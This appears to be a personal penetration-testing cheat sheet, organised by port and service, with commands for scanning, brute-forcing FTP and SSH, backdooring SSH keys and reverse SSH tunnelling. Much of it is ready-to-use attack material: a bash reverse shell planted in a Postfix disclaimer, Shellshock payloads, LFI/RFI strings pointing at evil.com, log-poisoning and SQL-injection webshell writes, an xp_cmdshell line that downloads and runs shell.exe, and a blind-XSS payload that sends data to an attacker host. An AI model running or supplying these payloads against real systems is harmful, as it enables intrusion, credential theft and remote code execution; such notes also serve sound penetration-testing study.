[https://lelinhtinh.github.io/de4js/ https://lelinhtinh.github.io/de4js/]

[https://evasions.checkpoint.com/ Evasion techniques (checkpoint.com)]

----

== RedTeam Mindmap ==

[https://github.com/N1arut/Pentesting-Mind-Map Pentesting-Mind-Map/PT-V1.3.1.xmind at main · N1arut/Pentesting-Mind-Map · GitHub]

[https://blog.aghanim.net/wp-content/uploads/2023/05/Red-Teaming.pdf Red-Teaming][https://blog.aghanim.net/wp-content/uploads/2023/05/Red-Teaming.pdf Download]

== WebApp Mindmap ==

[https://github.com/N1arut/Pentesting-Mind-Map Pentesting-Mind-Map/PT-V1.3.1.xmind at main · N1arut/Pentesting-Mind-Map · GitHub]

[https://blog.aghanim.net/wp-content/uploads/2023/05/Web-Penetration-Testing-1.pdf Web-Penetration-Testing-1][https://blog.aghanim.net/wp-content/uploads/2023/05/Web-Penetration-Testing-1.pdf Download]

== Network Mapping ==
Tools used to map out internal networks once a foothold is obtained. Please note that many of these tools and commands can create alot of traffic. Make sure to adjust based on your engagement rules.
=== Angry IP Scanner ===
[https://angryip.org/download/#windows Angry IP Scanner - Download for Windows, Mac or Linux]
[[File:2024-08-image-1.png|thumb]]
=== NMAP ===
Fast scan to list open ports
<syntaxhighlight lang="bash">
nmap -p- --min-rate 10000
</syntaxhighlight>
Scan using default scripts and list version, output to nmap.result
<syntaxhighlight lang="bash">
nmap -sC -sV -oN nmap.result
</syntaxhighlight>
Default nmap command to run against target
<syntaxhighlight lang="bash">
nmap -sC -sV -sU -p- --min-rate 10000 -oN outfile
</syntaxhighlight>
=== Quick port scan script ===
<syntaxhighlight lang="bash">
#!/bin/bash
host=192.168.1.1
for port in {1..65535}; do
timeout .1 bash -c "echo >/dev/tcp/$host/$port" &&
echo "port $port is open"
done
echo "Done"
</syntaxhighlight>

=== Ping scan one-liner ===
<syntaxhighlight lang="bash">
for /L %i in (1,1,255) do @ping -n 1 -w 200 10.5.5.%i > nul && echo 10.5.5.%i is up.
</syntaxhighlight>

=== PRTG Network Monitor ===

[https://www.paessler.com/network_monitoring_tool Network monitoring tool | PRTG (paessler.com)]

=== SoftPerfect Network Scanner ===

[https://www.softperfect.com https://www.softperfect.com]
SoftPerfect Network Scanner can ping computers, scan ports, discover shared folders, retrieve device information via WMI, SNMP, HTTP, SSH, and PowerShell, scan remote services, registry, files, and performance counters, and export results in various formats.

Free version limit: Only 10 devices.

[[File:2024-08-image.png|thumb]]

----
== 21 - FTP ==

=== Banner grabbing ===

<syntaxhighlight lang="bash">
nc -vn 21
</syntaxhighlight>

=== Brute force ===

<syntaxhighlight lang="bash">
hydra -V -f -L -P ftp:// -u -vV
# Try default usernames like admin:admin, admin:password etc
</syntaxhighlight>

=== Default credentials ===

<syntaxhighlight lang="bash">
/usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt
</syntaxhighlight>

=== Downlad file ===

<syntaxhighlight lang="bash">
get
# Download all files from FTP
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
</syntaxhighlight>

=== Upload file ===

REMEMBER! If uploading binary, type 'binary' into console otherwise the binary wont work.

<syntaxhighlight lang="bash">
put
</syntaxhighlight>

----

== 22 - SSH ==

=== Create SSH Tunnel from target to attacker ===

<syntaxhighlight lang="bash">
# CREATE dedicated reverse ssh account on pentest1
sudo useradd -m -s /bin/bash user
ssh-keygen -t ed25519 -f user -C "user"
sudo mkdir -p /home/user/.ssh
sudo chmod 700 /home/user/.ssh
sudo sh -c 'cat user.pub >> /home/user/.ssh/authorized_keys'
sudo chmod 600 /home/user/.ssh/authorized_keys
sudo chown -R user:user /home/user/.ssh
chmod 700 /home/user
chmod 600 /home/user/.ssh/authorized_keys
chown user:user /home/user
# ON target, portforward
# Make sure you remove inheritance and remove everyone to have access to the key except your user. Also save the file in your home folder, not in a folder where everyone have read access.
icacls .\key.txt /inheritance:r
ssh -i .\key.txt -N -R 10088:192.168.1.100:88 -R 10389:192.168.1.100:389 -R 10636:192.168.1.100:636 -R 10053:192.168.1.100:53 user@attacker-ip
# SOCAT to create a forward from 10088 and whatver back to 88 to make sure certipy works.
socat TCP4-LISTEN:53,fork TCP4:127.0.0.1:10053 &
socat TCP4-LISTEN:88,fork TCP4:127.0.0.1:10088 &
socat TCP4-LISTEN:636,fork TCP4:127.0.0.1:10636 &
socat TCP4-LISTEN:445,fork TCP4:127.0.0.1:10445 &
socat TCP4-LISTEN:389,fork TCP4:127.0.0.1:10389 &
# In hosts file add the dc hostname and tie to localhost on pentest1
127.0.0.1 DC.domain.local

# From attacker windows machine.
# The below command basically tells that connect port 88 to 127.0.0.1 at port 10088 .
# This will reach the linux machine and make them accessible to me.
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:10088 -L 389:127.0.0.1:10389 -L 636:127.0.0.1:10636 -L 53:127.0.0.1:10053
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:88 -L 389:127.0.0.1:389 -L 636:127.0.0.1:636 -L 1053:127.0.0.1:53
ssh -NT -i .\key.txt user@attacker-ip -L 88:127.0.0.1:88 -L 389:127.0.0.1:389 -L 636:127.0.0.1:636 -L 53:127.0.0.1:53 -L 10445:127.0.0.1:445
</syntaxhighlight>

=== Banner grabbing ===

<syntaxhighlight lang="bash">
nc -vn 22
</syntaxhighlight>

=== Brute force ===

<syntaxhighlight lang="bash">
hydra -V -f -L -P ssh:// -u -vV
</syntaxhighlight>

=== Config files ===

<syntaxhighlight lang="bash">
ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa
</syntaxhighlight>

=== Backdoor ===

<syntaxhighlight lang="bash">
# Attacker
ssh-keygen -f
chmod 600
cat .pub -> copy
# Victim - Remember to chmod 600 authorized_keys
echo .pub >> /.ssh/authorized_keys
# Connect
ssh -i @
</syntaxhighlight>

=== Debian OpenSSL Predictable PRNG ===

<syntaxhighlight lang="bash">
# https://github.com/g0tmi1k/debian-ssh/blob/master/README.md
# https://github.com/g0tmi1k/debian-ssh
# https://gitbook.brainyou.stream/basic-linux/ssh-key-predictable-prng-authorized_keys-process
# Obtain the authorized_keys file. It will be something like (ssh-dss ....):
ssh-dss AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAV[...] root@debian40server
# On the attacker machine, add the following line in /etc/ssh/ssh_config:
PubkeyAcceptedKeyTypes +ssh-dss
# Get the debian SSH repo:
git clone https://github.com/g0tmi1k/debian-ssh
tar vjxf debian-ssh/common_keys/debian_ssh_dsa_1024_x86.tar.bz2
# Copy the first 30 (approx.) characters after ssh-dss in the authorized_keys, then search it in the repo using grep -lr:
cd debian-ssh/common_keys/dsa/1024/
grep -lr 'AAAAB3NzaC1kc3MAAACBAOgzzMCD3Im5bRnAVdV3yLwTsyNAi3IiFShIfx9'

# Flags for common error
# flag for algorithm
-okexAlgorithms=+diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1
# flag for public key
-oPubkeyAcceptedKeyTypes=+ssh-dss
# flag for cipher
-c aes128-cbc
</syntaxhighlight>

=== Decrypt RSA ===

<syntaxhighlight lang="bash">
ssh2john [id_rsa private key file] > [output file]
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash.txt
</syntaxhighlight>

=== Key file ===

<syntaxhighlight lang="bash">
/home/user/.ssh/authorized_keys
/home/usr/.ssh/id_rsa
</syntaxhighlight>

=== Restriction SSH public key ===

<syntaxhighlight lang="bash">
from="192.168.1.150",command="echo 'This account can only be used for port forwarding'",no-agent-forwarding,no-X11-forwarding,no-pty ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxO27JE5uXiHqoUUb4j9o/IPHxsPg+fflPKW4N6pK0ZXSmMfLhjaHyhUr4auF+hSnF2g1hN4N2Z4DjkfZ9f95O7Ox3m0oaUgEwHtZcwTNNLJiHs2fSs7ObLR+gZ23kaJ+TYM8ZIo/ENC68Py+NhtW1c2So95ARwCa/Hkb7kZ1xNo6f6rvCqXAyk/WZcBXxYkGqOLut3c5B+++6h3spOPlDkoPs8T5/wJNcn8i12Lex/d02iOWCLGEav2V1R9xk87xVdI6h5BPySl35+ZXOrHzazbddS7MwGFz16coo+wbHbTR6P5fF9Z1Zm9O/US2LoqHxs7OxNq61BLtr4I/MDnin www-data@user
</syntaxhighlight>

=== SSH when no interactive shell ===

<syntaxhighlight lang="bash">
ssh kali@10.11.0.4 -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -i id_rsa
ssh -f -N -R 1080 -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -i id_rsa kali@10.11.0.4
</syntaxhighlight>

=== SHELLSHOCK exploit ===

<syntaxhighlight lang="bash">
ssh -i id_rsa user@ '() {:;};/bin/bash'
</syntaxhighlight>

----

== 25 ,465, 587 - SMTP ==

=== User enumeration ===

<syntaxhighlight lang="bash">
smtp-user-enum -M -u -t
# Example
smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/Names/names.txt -t 192.168.196.137
</syntaxhighlight>

=== Se ===

=== Send mail ===

<syntaxhighlight lang="bash">
# sendmail
sendemail -t recepiant@test.com -f ghanim@mail.com -s SMTP_server -m "Please open attachment" -u "My job application" -a MyJobApplication.docm
-t : Recipient's email address.
-f : Sender's email address.
-s : SMTP server address.
-m : Message body of the email.
-u : Subject of the email.
-a : File to attach to the email.
# Telnet
telnet 192.168.196.137 25 1 ⨯
Trying 192.168.196.137...
Connected to 192.168.196.137.
Escape character is '^]'.
220 postfish.off ESMTP Postfix (Ubuntu)
HELO HELO
250 postfish.off
MAIL FROM: it@postfish.off
250 2.1.0 Ok
RCPT TO: brian.moore@postfish.off
250 2.1.5 Ok
DATA
354 End data with .
subject: Test
Hello,
This is a test.
Regards,
Me
.
250 2.0.0 Ok: queued as F2824458F9
quit
221 2.0.0 Bye
Connection closed by foreign host.
</syntaxhighlight>

=== SMTP 4.2.x < 4.2.48 - 'Shellshock' ===

[https://github.com/3mrgnc3/pentest_old/blob/master/postfix-shellshock-nc.py https://github.com/3mrgnc3/pentest_old/blob/master/postfix-shellshock-nc.py]

<syntaxhighlight lang="bash">
python2 shellshock.py 10.11.1.231 useradm@mail.local 192.168.119.173 443
</syntaxhighlight>

=== Disclaimer exploit ===

<syntaxhighlight lang="bash">
# https://www.howtoforge.com/how-to-automatically-add-a-disclaimer-to-outgoing-emails-with-altermime-postfix-on-debian-squeeze
# If user is member of the group filter and the file /etc/postfix/disclaimer is present, we can probably escalate our privileges. We need to be able to write to disclaimer. By adding a reverse shell in the disclaimer file, and sending a mail using SMTP we can get a reverse shell. The disclaimer will be sent with the mail and our code will be executed.
# 1. Add BASH TCP to disclaimer
/etc/postfix$ cat disclaimer
#!/bin/bash
bash -i >& /dev/tcp/192.168.49.196/4444 0>&1
# 2. Send mail to any user
# 3. Receive a connection to our netcat listener.
</syntaxhighlight>

----

== 53 - DNS ==

=== Banner grabbing ===

<syntaxhighlight lang="bash">
dig version.bind CHAOS TXT @DNS
</syntaxhighlight>

=== Enumerate DNS info ===

<syntaxhighlight lang="bash">
dnsenum
dnsrecon -d
</syntaxhighlight>

=== Subdomains bruteforce ===

<syntaxhighlight lang="bash">
dnsrecon -D subdomains-1000.txt -d -n
dnscan -d -r -w subdomains-1000.txt #Bruteforce subdomains in recursive way, https://github.com/rbsec/dnscan
aiodnsbrute -w wordlist.txt -vv -t 1024 domain.com
</syntaxhighlight>

=== Zone transfer ===

<syntaxhighlight lang="bash">
dig axfr @ #Try zone transfer without domain
dig axfr @ #Try zone transfer guessing the domain
dnsrecon -d -a
</syntaxhighlight>

----

== 69 (UDP) - TFPT ==

<syntaxhighlight lang="bash">
# Filename containing spaces fix:
# kali-tftp fails when filename contains spaces.
# Install
sudo apt install -y tftp-hpa
# Commands
tftp [-v] -m binary IP -c get '\Windows\system.ini' system.ini
# \Windows\System32\Drivers\etc\hosts
</syntaxhighlight>

----

== 79 - FINGER ==

----

== 80, 443 - HTTP/HTTPS ==

=== Apache HTTP basic auth - Change password using htpasswd ===

<syntaxhighlight lang="bash">
htpasswd username
# Can also change passwd for webda users with same command
# Example
htpasswd /var/www/web1/passwd.dav test
</syntaxhighlight>

=== Burp Suite ===

When adding custom header, always remember to have two or three new-lines after the header, otherwise the site wont respond.

==== Add custom header permanent (Request and Response) ====

[[File:2022-08-image-2.png|thumb]]

[[File:2022-08-image.png|thumb]]

[[File:2022-08-image-1.png|thumb]]

=== Client Fingerprinting ===

From PWK 13.1.4

<syntaxhighlight lang="bash">
# https://github.com/fingerprintjs/fingerprintjs
cd /var/www/html/ && sudo wget https://github.com/fingerprintjs/fingerprintjs/archive/2.1.4.zip && sudo unzip 2.1.4.zip && sudo mv fingerprintjs-2.1.4/ fp/ && cd fp
# Then use whatever text editor you want to create an fingerprint2.html (sudo nano fingerprint2.html) file add the following code to it. This is the same code as in the example but it's "prettified" from within VS Code.
## YOU MIGHT GET ERROR THAT fingerprint2.js IS NOT DEFINED. Move fingerprint2.js from fp folder to /var/www/html.

Fingerprintjs2 test

Fingerprintjs2
Your browser fingerprint:

var d1 = new Date();
var options = {};
Fingerprint2.get(options, function (components) {
var values = components.map(function (component) {
return component.value;
});
var murmur = Fingerprint2.x64hash128(values.join(""), 31);
var d2 = new Date();
var timeString =
"Time to calculate the fingerprint: " + (d2 - d1) + "ms";
var details = "Detailed information: ";
if (typeof window.console !== "undefined") {
for (var index in components) {
var obj = components[index];
var value = obj.value;
if (value !== null) {
var line = obj.key + " = " + value.toString().substr(0, 150);
details += line + "";
}
}
}
document.querySelector("#details").innerHTML = details;
document.querySelector("#fp").textContent = murmur;
document.querySelector("#time").textContent = timeString;
});

# Then use a web server of your choice. If you use another web server as described elsewhere in this course, just be aware of where you execute it. Apache defaults to /var/www/html/ while others may be dependant on where you start them. I saw some chatter about Apache not working, however it does for me:

sudo systemctl start apache2
# Now visit localhost or IP of server
</syntaxhighlight>

[[File:2022-10-image.png|thumb]]

=== Command injection ===

<syntaxhighlight lang="bash">
# https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/README.md#bypass-with-backslash-and-slash
Filter Bypasses
Bypass without space
Bypass with a line return
Bypass with backslash newline
Bypass characters filter via hex encoding
Bypass blacklisted words
Bypass with single quote
Bypass with double quote
Bypass with backslash and slash
Bypass with $@
Bypass with $()
Bypass with variable expansion
Bypass with wildcards
</syntaxhighlight>

=== Directory brute force ===

Try different tools! Sometimes different tools give different results. See Robust box notes for more info.

==== Feroxbuster ====

<syntaxhighlight lang="bash">
# --threads 1; max 1 thread; -f appends slash (/); --status-codes; only show 200, -L 3; Limit total number of concurrent scans, --auto-tune; Automatically lower scan rate when an excessive amount of errors are encountered, --depth 3; Maximum recursion depth, a depth of 0 is infinite recursion
feroxbuster --url https://URL --threads 1 -f -x php,html,txt,sh --status-codes 200 -o ferox.result3 -L 3 --auto-tune --depth 3 -x txt bak sql sh asp aspx php json conf htaccess config jar db html
</syntaxhighlight>

==== Gobuster ====

<syntaxhighlight lang="bash">
gobuster dir -u https://URL -w /usr/share/wordlist/dirb/big.txt [-x FILE EXTENSION]
</syntaxhighlight>

==== ffuf ====

<syntaxhighlight lang="bash">
ffuf -w /path/to/wordlist -u https://target/FUZZ
</syntaxhighlight>

==== wfuzz ====

<syntaxhighlight lang="bash">
wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt -u http://192.168.153.200/FUZZ -H "X-Forwarded-For: 10.10.10.150" --hc 404
</syntaxhighlight>

=== .htaccess change to allow upload php ===

<syntaxhighlight lang="bash">
cat .htaccess
AddType application/x-httpd-php .evil
</syntaxhighlight>

=== File upload ===

[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/README.md PayloadsAllTheThings/README.md at master · swisskyrepo/PayloadsAllTheThings · GitHub]

==== File upload MindMap ====

[[File:2023-06-file-upload-mindmap-1.png|thumb]]

==== Extension ====

[https://book.hacktricks.xyz/pentesting-web/file-upload https://book.hacktricks.xyz/pentesting-web/file-upload]

<syntaxhighlight lang="bash">
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- Working in PHPv8: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
</syntaxhighlight>

==== HTTP PUT ====

<syntaxhighlight lang="bash">
curl -X PUT http:/// -d @ -v
</syntaxhighlight>

==== Web.config ====

[https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/ Source]

<syntaxhighlight lang="xml">
# Web.cofig file with ASP code at the bottom. Modify at will.

-->
</syntaxhighlight>

=== Local File Incusion (LFI) / Remote File Inclusion (RFI) ===

==== Log Poising ====

<syntaxhighlight lang="bash">
# First identify what logs you have access to. Then inject php payload to the access log.
# For example: Apache2 /var/log/apache2/access.log.
# Or: vsftpd /var/log/vsftpd.log
nc -nv 10.11.0.22 80
(UNKNOWN) [10.11.0.22] 80 (http) open
' . shell_exec($_GET['cmd']) . '';?>
# You should now see that request in the access log (Or other logs you, like /var/log/vsftpd.log if its a FTP server.
curl http://10.10.10.10/site.php?file=/var/log/apache2/access.log&cmd=whoami
</syntaxhighlight>

==== LFI ====

<syntaxhighlight lang="bash">
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
# Basic LFI
http://example.com/index.php?page=../../../etc/passwd
# Null byte
## In versions of PHP below 5.3.4 we can terminate with null byte.
http://example.com/index.php?page=../../../etc/passwd%00
# Double encoding
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
# UTF-8 encoding
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00
# Path and dot truncation
## On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away.
http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd\.\.\.\.\.\.[ADD MORE]
http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE]
http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd
# Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
# PHP header file (Windows)

# PHP header file (Linux)
</syntaxhighlight>

==== LFI list ====

<syntaxhighlight lang="bash">
# Linux
/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
# Windows
/SecLists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt
https://gist.github.com/korrosivesec/a339e376bae22fcfb7f858426094661e
# Both
/SecLists/Fuzzing/LFI/LFI-LFISuite-pathtotest-huge.txt
</syntaxhighlight>

==== RFI ====

If webserver dosent execute RFI, see PHP shell_exec further down.

<syntaxhighlight lang="bash">
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
# Basic RFI
http://example.com/index.php?page=http://evil.com/shell.txt
# Null byte
http://example.com/index.php?page=http://evil.com/shell.txt%00
# Double encoding
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
# Bypass allow_url_include
# When allow_url_include and allow_url_fopen are set to Off. It is still possible to include a remote file on Windows box using the smb protocol.
# 1. Create a share open to everyone
# 2. Write a PHP code inside a file : shell.php
# 3. Include it http://example.com/index.php?page=\\10.0.0.1\share\shell.php
</syntaxhighlight>

==== PHP Wrappers ====

<syntaxhighlight lang="bash">
# PHP provides several protocol wrappers that we can use to exploit directory traversal and local file inclusion vulnerabilities.
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion#lfi--rfi-using-wrappers
# Example
http://10.10.10.10/test.php?file=data:text/plain,hello world
# Example 2
http://10.10.10.10/test.php?file=data:text/plain,
</syntaxhighlight>

=== Scanners ===

<syntaxhighlight lang="bash">
# nikto
nitko -h > output.txt
# crawleet
python crawleet.py -u -b -d 3 -e jpg,png,css -f -m -s -x php,txt -y --threads 20
</syntaxhighlight>

=== SQL injection ===

==== Cheatsheet and good articles ====

[https://www.tarlogic.com/en/blog/red-team-tales-0x01/ https://www.tarlogic.com/en/blog/red-team-tales-0x01/]

[https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection] (Click on the SQL server that is used)

[https://book.hacktricks.xyz/pentesting-web/sql-injection/mssql-injection https://book.hacktricks.xyz/pentesting-web/sql-injection/mssql-injection]

[https://sqlwiki.netspi.com/injectionTypes/errorBased/#sqlserver https://sqlwiki.netspi.com/injectionTypes/errorBased/#sqlserver]

See notes for 10.11.1.229

==== Theory ====

<syntaxhighlight lang="bash">
Databases --> Tables --> Column_names
# Queries
# Show all tables in database information_schema
table_name FROM information_schema.tables
# use information_schema, show all column_name from table wp_users
column_name FROM information_schema.columns WHERE table_name='wp_users'
# Show all information in user_login column from table wp_users
user_login FROM wp_users
</syntaxhighlight>

==== Authentication Bypass ====

<syntaxhighlight lang="bash">
# Show me all columns and rows for users with a name of User1 or where one equals one. Since 1=1 condition is always true, all rows will be returned.
'user1' or 1=1
# If error encountered we can instruct the query to return a fixed number of records with the LIMIT statement
'user1' or 1=1 LIMIT1;#

' or 1=1; -- -
</syntaxhighlight>

==== Basic SQL Injection ====

<syntaxhighlight lang="bash">
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
https://blog.aghanim.net/?p=1203
# ENTRY POINT DETECTION
## Detection of an SQL injection entry point Simple characters
'
%27
"
%22
#
%23
;
%3B
)
Wildcard (*)
' # required for XML content
## Multiple encoding
%%2727
%25%27
## Merging characters
`+HERP
'||'DERP
'+'herp
' 'DERP
'%20'HERP
'%2B'HERP
## Logic Testing
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
</syntaxhighlight>

==== Enumerate Database ====

<syntaxhighlight lang="bash">
# Use 'order by' clause to tell the database to sort the results of the query by the values in one or more columns. Increment value by 1 until error.
# If error out on 4, that means that there are 3 columns.
?id=1 order by 1
# UNION statement allow us to add a second select statement to the orignal query. SEE PIC BELOW
http://localhost/debug.php?id=1 union all select 1, 2, 3
# Only two columns are displayed, 2 and 3. So if we have a column named username and passord from table users, we can write it like this to display conent of username and password
?id=1 union all select 1, username, password from users
# MariaDB version
?id=1 union all select 1, 2, @@version
# Database user
?id=1 union all select 1, 2, user()
# Enumerate database tables and column structures through 'information_schema'
?id=1 union all select 1, 2, table_name from information_schema.tables
?id=1 union all select 1, 2, column_name from information_schema.columns where table_name='users'
?id=1 union all select 1, username, password from users
</syntaxhighlight>

[[File:2022-09-image-2.png|thumb]]

==== SQLmap ====

<syntaxhighlight lang="bash">
# Basic arguments for SQLmap
sqlmap --url="" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs
# Load a request file and use mobile user-agent
sqlmap -r sqli.req --safe-url=http://10.10.10.10/ --mobile --safe-freq=1
# Custom injection in UserAgent/Header/Referer/Cookie
python sqlmap.py -u "http://example.com" --data "username=admin&password=pass" --headers="x-forwarded-for:127.0.0.1*"
## The injection is located at the '*'
# SHELL
## SQL Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --sql-shell
## Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell
## Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn
## SSH Shell by dropping an SSH key
python sqlmap.py -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/
# Crawl a website with SQLmap and auto-exploit
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3
--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms
# Using TOR with SQLmap
sqlmap -u "http://www.target.com" --tor --tor-type=SOCKS5 --time-sec 11 --check-tor --level=5 --risk=3 --threads=5
# Using a proxy with SQLmap
sqlmap -u "http://www.target.com" --proxy="http://127.0.0.1:8080"
# Using Chrome cookie and a Proxy
sqlmap -u "https://test.com/index.php?id=99" --load-cookie=/media/truecrypt1/TI/cookie.txt --proxy "http://127.0.0.1:8080" -f --time-sec 15 --level 3
# Using suffix to tamper the injection
python sqlmap.py -u "http://example.com/?id=1" -p id --suffix="-- "
# General tamper option and tamper's list
tamper=name_of_the_tamper
# SQLMap supports a `--test-filter` flag. This flag tells SQLMap to test for payloads that match a specific pattern.
https://twitter.com/kuldeepdotexe/status/1687897180953034754
sqlmap -u https://lab_host/filter\?category\=Food+%26+Drink -p category --test-filter="Generic UNION query (NULL)"
</syntaxhighlight>

==== Union based sqli ====

<syntaxhighlight lang="bash">
# Enumerate column
# Add ,NULL until no more erros. Thats how many column there is.
# To determin where there is data, remove one NULL and add random data. If no error, then there is data there.
' UNION SELECT NULL--
' UNION SELECT NULL,NULL,NULL FROM DUAL--
' UNION SELECT table_name,NULL,NULL FROM all_tables--
' UNION SELECT COLUMN_NAME,NULL,NULL FROM all_tab_columns WHERE table_name='WEB_ADMINS'--
Blog entry from ADMIN_NAME with title null from 0
Blog entry from PASSWORD with title null from 0
' UNION SELECT ADMIN_NAME,PASSWORD,NULL FROM WEB_ADMINS--
' UNION SELECT COLUMN_NAME,NULL,NULL FROM all_tab_columns WHERE table_name='WEB_USERS'--
Blog entry from PASSWORD with title null from 0
Blog entry from USER_ID with title null from 0
Blog entry from USER_NAME with title null from 0
' UNION SELECT USER_NAME,NULL,NULL FROM WEB_USERS--
Blog entry from alice with title null from 0
Blog entry from eric with title null from 0
Blog entry from maria with title null from 0
' UNION SELECT PASSWORD,NULL,NULL FROM WEB_USERS--
Blog entry from bobismyuncle with title null from 0
Blog entry from letmein with title null from 0
Blog entry from thisismypassword with title null from 0
</syntaxhighlight>

==== Usuful commands (Upload shells) ====

<syntaxhighlight lang="sql">
# Test SQLI with sleep
# Double hyphen is used to out-comment rest of the query
' UNION SELECT sleep(5); -- -
# Write a webshell
UNION SELECT "" into outfile "C:\\xampp\\htdocs\\backdoor.php"
UNION SELECT '' INTO OUTFILE '/var/www/html/x.php' FIELDS TERMINATED BY ''
' UNION SELECT (" into OUTFILE 'c:/xampp/htdocs/backdoor.php'
# Code execution
?id=1 union all select 1, 2, load_file('C:/Windows/win.ini')
# Mssql download shell, output it, and execute it
';EXEC xp_cmdshell 'certutil -urlcache -split -f "http://192.168.119.176/shell.exe" C:\windows\temp\shell.exe&& cmd.exe /c C:\windows\temp\shell.exe
# XP_dirtree - Remember to start responder or impacket-smbserver
1'; use master; exec xp_dirtree '\\192.168.119.176\SHARE';--
</syntaxhighlight>

=== SSRF ===

==== Capture hash ====

<syntaxhighlight lang="bash">
# Example from PG Heist
# On target website
http://heist.offsec:8080/?url=http://192.168.49.247:80
# On attacker
┌──(root💀kali)-[/home/aghanim/Desktop/PG/heist]
└─# responder -I tun0
[+] Listening for events...
[HTTP] NTLMv2 Client : ::ffff:192.168.247.165
[HTTP] NTLMv2 Username : HEIST\enox
[HTTP] NTLMv2 Hash : enox::HEIST:9d578233382be8e1:0CB1CB346E8C78CF508746D763D78FCB:010100[...]
# Hash format
netntlmv2
</syntaxhighlight>

=== SSTI ===

[https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection SSTI (Server Side Template Injection) - HackTricks]

<syntaxhighlight lang="bash">
@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
@System.Diagnostics.Process.Start("cmd.exe","/c powershell -e ENCODEDCOMMAND");
</syntaxhighlight>

=== XSS ===

[https://github.com/payloadbox/xss-payload-list/blob/master/README.md https://github.com/payloadbox/xss-payload-list/blob/master/README.md]

==== Blind XSS ====

'''USING GET REQUEST'''

Send this to the vulnernable form parameter

<syntaxhighlight lang="bash">
Feedback=">fetch('http://10.10.109.42:8080/flag.txt').then(response => response.text()).then(data => fetch('http://10.9.17.250/receive?data=' + encodeURIComponent(data)));
</syntaxhighlight>

Set up a listener, like python http server og netcat and wait for the connection.

<syntaxhighlight lang="bash">
nc -lvnp 80
listening on [any] 80 ...
connect to [10.9.17.250] from (UNKNOWN) [10.10.109.42] 44532
GET /receive?data=THM%7B83... HTTP/1.1
Host: 10.9.17.250
Connection: keep-alive
user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/119.0.6045.105 Safari/537.36
accept: */*
origin: http://127.0.0.1:8080
X-Simulate: 17bec089830b56b2980e5c97c46fe25147e09247
Referer: http://127.0.0.1:8080/
Accept-Encoding: gzip, deflate
</syntaxhighlight>

'''USING POST REQUEST'''

